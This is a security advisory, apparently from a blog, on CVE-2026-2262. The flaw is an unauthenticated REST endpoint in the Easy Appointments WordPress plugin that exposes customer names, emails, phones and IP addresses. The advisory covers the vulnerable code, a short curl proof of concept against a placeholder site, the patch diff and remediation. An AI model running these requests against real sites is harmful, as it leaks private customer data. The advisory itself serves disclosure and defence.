CVE-2026-2262: Easy Appointments Data Exposure via REST API
Table of Contents
CVE-2026-2262 is a CVSS 7.5 (High) Unauthenticated Sensitive Information Exposure vulnerability in the Easy Appointments WordPress plugin. Any unauthenticated attacker can dump the full customer appointments database with a single HTTP GET request — no credentials needed. The exposed records include names, email addresses, phone numbers, IP addresses, appointment descriptions, and pricing.
Vulnerability Summary
| Field | Value |
|---|---|
| Plugin Name | Easy Appointments |
| Plugin Slug | easy-appointments |
| CVE ID | CVE-2026-2262 |
| CVSS Score | 7.5 (High) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| Vulnerability Type | Unauthenticated Sensitive Information Exposure via REST API |
| Affected Versions | <= 3.12.21 |
| Patched Version | 3.12.22 |
| Published | April 17, 2026 |
| Researcher | MD. TAREQ AHAMED JONY (itztrq) - Knight Squad |
| Wordfence Advisory | Link |
Description
The Easy Appointments plugin exposes a REST API endpoint at /wp-json/wp/v2/eablocks/ea_appointments/. All versions up to and including 3.12.21 are affected.
The plugin registers this endpoint with 'permission_callback' => '__return_true'. This WordPress function always returns true, so the endpoint accepts any request without checking who sent it.
As a result, unauthenticated attackers can pull full customer appointment data: names, email addresses, phone numbers, IP addresses, appointment descriptions, and pricing.
Technical Analysis
Vulnerable Code Path
Here is how the vulnerability works in the source code.
File: ea-blocks/ea-blocks.php
Step 1 — Route registration (line 186–192):
The REST API route is registered inside a rest_api_init action hook with 'permission_callback' => '__return_true'. The WordPress core function __return_true unconditionally returns true, meaning WordPress will call the endpoint’s callback for any request — authenticated or not.
add_action('rest_api_init', function () {
register_rest_route('wp/v2/eablocks', '/ea_appointments/', [
'methods' => 'GET',
'callback' => 'easy_ea_block_get_appointments',
'permission_callback' => '__return_true', // Secure this if needed
]);
});
Step 2 — Route callback (lines 81–108):
easy_ea_block_get_appointments() reads optional location, service, and worker query parameters (all safely cast to int), then delegates to easy_ea_block_get_all_appointments(). This function performs no authentication or authorization checks.
function easy_ea_block_get_appointments(WP_REST_Request $request)
{
global $wpdb;
$location = intval($request->get_param('location'));
$service = intval($request->get_param('service'));
$worker = intval($request->get_param('worker'));
$data['location'] = $location;
$data['service'] = $service;
$data['worker'] = $worker;
$result = easy_ea_block_get_all_appointments($data);
return $result;
}
Step 3 — Database query (lines 110–167):
easy_ea_block_get_all_appointments() runs SELECT * FROM wp_ea_appointments (filtered optionally by location, service, or worker). The * projection returns every column in the appointments table.
$query = "SELECT * FROM $tableName WHERE 1 {$location}{$service}{$worker}{$status}{$search} ORDER BY id DESC";
$sql = $wpdb->prepare($query, $params);
$apps = $wpdb->get_results($sql, OBJECT_K);
Step 4 — Custom field enrichment (lines 170–182):
easy_ea_block_get_fields_for_apps() then runs a second query to fetch all custom field values for the returned appointments and attaches them as properties:
$query = "SELECT f.app_id, m.slug, f.value
FROM {$meta} m
JOIN {$fields} f ON (m.id = f.field_id)
WHERE f.app_id IN ($apps)";
$result = $wpdb->get_results($query);
Schema of wp_ea_appointments table (from src/install.php lines 67–92):
| Column | Type | Description |
|---|---|---|
id | int | Appointment ID |
name | varchar(255) | Customer full name |
email | varchar(255) | Customer email address |
phone | varchar(45) | Customer phone number |
date | date | Appointment date |
start | time | Start time |
end | time | End time |
description | text | Appointment description / notes |
status | varchar(45) | Status (pending, confirmed, cancelled…) |
price | decimal(10,2) | Price charged |
ip | varchar(45) | Customer IP address at booking time |
session | varchar(32) | Session hash |
user | int | Linked WordPress user ID |
customer_id | int | Customer record ID |
created | timestamp | Creation timestamp |
Root Cause
The REST endpoint /wp-json/wp/v2/eablocks/ea_appointments/ is registered with 'permission_callback' => '__return_true'. The WordPress documentation explicitly warns against this in production: __return_true is intended as a placeholder and bypasses all access control. WordPress relies entirely on the permission_callback return value to gate a REST route. When it returns true, the request proceeds to the callback with no further checks.
Why Existing Controls Failed
Nothing else in the code provides a safety net. The callback performs no current_user_can() check, no nonce verification, and no session validation before executing the database query. WordPress also serves this namespace through the standard wp-json REST API entry point, so any WordPress installation exposes it by default.
Attack Impact
Any unauthenticated attacker can dump the complete appointments database of a site running Easy Appointments <= 3.12.21. Exposed data includes:
- Customer full names and contact details (email, phone)
- Customer IP addresses at the time of booking
- Appointment dates, times, and descriptions
- Appointment pricing
- WordPress user IDs linked to appointments
- All custom field values (which may include additional PII entered by site-specific forms)
This is a full, zero-interaction customer data breach that requires only network access to the target site.
Proof of Concept
Disclaimer: This PoC is provided for educational and defensive security research purposes only. Do not use against systems you do not own or have explicit written authorization to test.
Prerequisites
- WordPress installation with the
easy-appointmentsplugin installed and activated - Plugin version <= 3.12.21
- No authentication required
Step-by-Step Reproduction
Step 1: Confirm the endpoint is exposed
Send an unauthenticated GET request to the REST API endpoint. No tokens, cookies, or credentials are needed.
curl -s "https://TARGET.SITE/wp-json/wp/v2/eablocks/ea_appointments/" | head -c 500
A successful response returns a JSON array of appointment objects. A 401 or 403 response indicates the site is patched or the plugin is not active.
Step 2: Dump all appointments
curl -s "https://TARGET.SITE/wp-json/wp/v2/eablocks/ea_appointments/" \
-H "Accept: application/json" \
| python3 -m json.tool
Each item in the array is one appointment record. It includes fields such as id, name, email, phone, ip, date, start, end, description, price, status, created, and any custom field slugs.
Step 3: Filter by service, location, or worker (optional)
The endpoint accepts optional integer query parameters to filter results. These parameters are safely cast to int server-side, so they cannot be abused for injection — but they can be used to filter results by segment:
# Appointments for service ID 1
curl -s "https://TARGET.SITE/wp-json/wp/v2/eablocks/ea_appointments/?service=1"
# Appointments for a specific worker
curl -s "https://TARGET.SITE/wp-json/wp/v2/eablocks/ea_appointments/?worker=2"
Expected Result
The attacker receives the full appointments table contents as a JSON array, including PII for every customer who has ever made a booking through the plugin.
Verification
Confirm exploitation by checking that the response JSON array contains non-empty email, name, phone, and ip fields. Cross-reference a known appointment (e.g., one you created as a test user) to verify the data matches real records.
Patch Analysis
What Changed
Only one file contains the security-relevant change:
ea-blocks/ea-blocks.php — two hunks:
-
easy_ea_render_fullcalendar_block()(line ~59): A nonce is now generated server-side and injected into the frontend block’s inline JavaScript data object so the JavaScript client can send it with API requests. -
REST route registration for
/ea_appointments/(line ~188): The'permission_callback' => '__return_true'is replaced with a closure that enforces proper access control.
Other files changed in the release (src/ajax.php, src/api/apifullcalendar.php, src/mail.php, src/options.php, src/templates/admin.tpl.php, etc.) contain unrelated feature updates and UI improvements.
Fix Explanation
// BEFORE (vulnerable)
'permission_callback' => '__return_true', // Secure this if needed
// AFTER (patched)
'permission_callback' => function ($request) {
$nonce = $request->get_header('X-WP-Nonce');
if (! wp_verify_nonce($nonce, 'wp_rest')) {
return new WP_Error(
'rest_forbidden',
'Invalid nonce',
['status' => 403]
);
}
return current_user_can('manage_options');
}
The patch applies a two-layer guard:
-
Nonce verification —
wp_verify_nonce($nonce, 'wp_rest')validates theX-WP-Nonceheader. WordPress REST nonces are tied to a logged-in session. An anonymous request has no session, so it cannot produce a valid nonce and will always fail this check. -
Capability check — Even if a valid nonce is present,
current_user_can('manage_options')restricts the endpoint toadministrator-level users only.
The plugin generates this nonce server-side inside easy_ea_render_fullcalendar_block() using wp_create_nonce('wp_rest'). It passes the value to the JavaScript bundle as window.eaFullCalendarData.nonce, so the legitimate block frontend can authenticate its own requests.
Residual risk note: The sibling endpoint /wp-json/wp/v2/eablocks/get_ea_options/ (registered at line 73–79) retains 'permission_callback' => '__return_true' in version 3.12.22. This endpoint returns location, service, and worker names/IDs — non-PII configuration data needed to populate the block’s booking form dropdowns for anonymous visitors. The risk from that endpoint is low, but site owners should be aware it remains publicly accessible by design.
Code Diff (Key Changes)
--- a/ea-blocks/ea-blocks.php
+++ b/ea-blocks/ea-blocks.php
@@ -59,6 +59,7 @@ function easy_ea_render_fullcalendar_block($attributes)
'location' => $location,
'service' => $service,
'worker' => $worker,
+ 'nonce' => wp_create_nonce('wp_rest'),
]) . ';',
'before'
);
@@ -187,7 +188,20 @@ add_action('rest_api_init', function () {
register_rest_route('wp/v2/eablocks', '/ea_appointments/', [
'methods' => 'GET',
'callback' => 'easy_ea_block_get_appointments',
- 'permission_callback' => '__return_true', // Secure this if needed
+ 'permission_callback' => function ($request) {
+
+ $nonce = $request->get_header('X-WP-Nonce');
+
+ if (! wp_verify_nonce($nonce, 'wp_rest')) {
+ return new WP_Error(
+ 'rest_forbidden',
+ 'Invalid nonce',
+ ['status' => 403]
+ );
+ }
+
+ return current_user_can('manage_options');
+ }
]);
});
Timeline
| Date | Event |
|---|---|
| April 17, 2026 | Vulnerability publicly disclosed by Wordfence |
| April 17, 2026 | Patched version 3.12.22 released |
Remediation
Update the easy-appointments plugin to version 3.12.22 or later.
If an immediate update is not possible, you can block the endpoint at the web server or WAF level by denying access to:
/wp-json/wp/v2/eablocks/ea_appointments/
References
- plugins.trac.wordpress.org — ea-blocks.php#L190 (tag 3.12.19)
- plugins.trac.wordpress.org — ea-blocks.php#L190 (trunk)
- plugins.trac.wordpress.org — ea-blocks.php#L141 (tag 3.12.19)
- plugins.trac.wordpress.org — changeset 3485692
- plugins.trac.wordpress.org — diff 3.12.21 → 3.12.22
Frequently Asked Questions
What is CVE-2026-2262?
CVE-2026-2262 is a CVSS 7.5 High severity unauthenticated sensitive information exposure vulnerability in the Easy Appointments WordPress plugin that lets any anonymous attacker retrieve the full customer appointments database through a misconfigured REST API endpoint.
Which versions of Easy Appointments are affected by CVE-2026-2262?
All versions of Easy Appointments up to and including 3.12.21 are vulnerable. The issue is fixed in version 3.12.22.
What can an attacker do with CVE-2026-2262?
An attacker can send a single unauthenticated HTTP GET request to retrieve every record in the appointments database. The exposed data includes customer names, email addresses, phone numbers, IP addresses, appointment descriptions, pricing, and any custom field values stored by the site.
Does an attacker need to be logged in to exploit CVE-2026-2262?
No. The vulnerable endpoint requires no authentication, no cookies, and no tokens of any kind. Anyone with network access to the site can exploit it.
How do I fix CVE-2026-2262 in Easy Appointments?
Update the Easy Appointments plugin to version 3.12.22 or later through the WordPress admin dashboard under Plugins, Updates. If you cannot update immediately, block access to the path wp-json/wp/v2/eablocks/ea_appointments/ at your web server or WAF.
Has Easy Appointments been patched for CVE-2026-2262?
Yes. Version 3.12.22, released on April 17, 2026, fixes the vulnerability by replacing the open permission callback with a nonce verification and administrator capability check.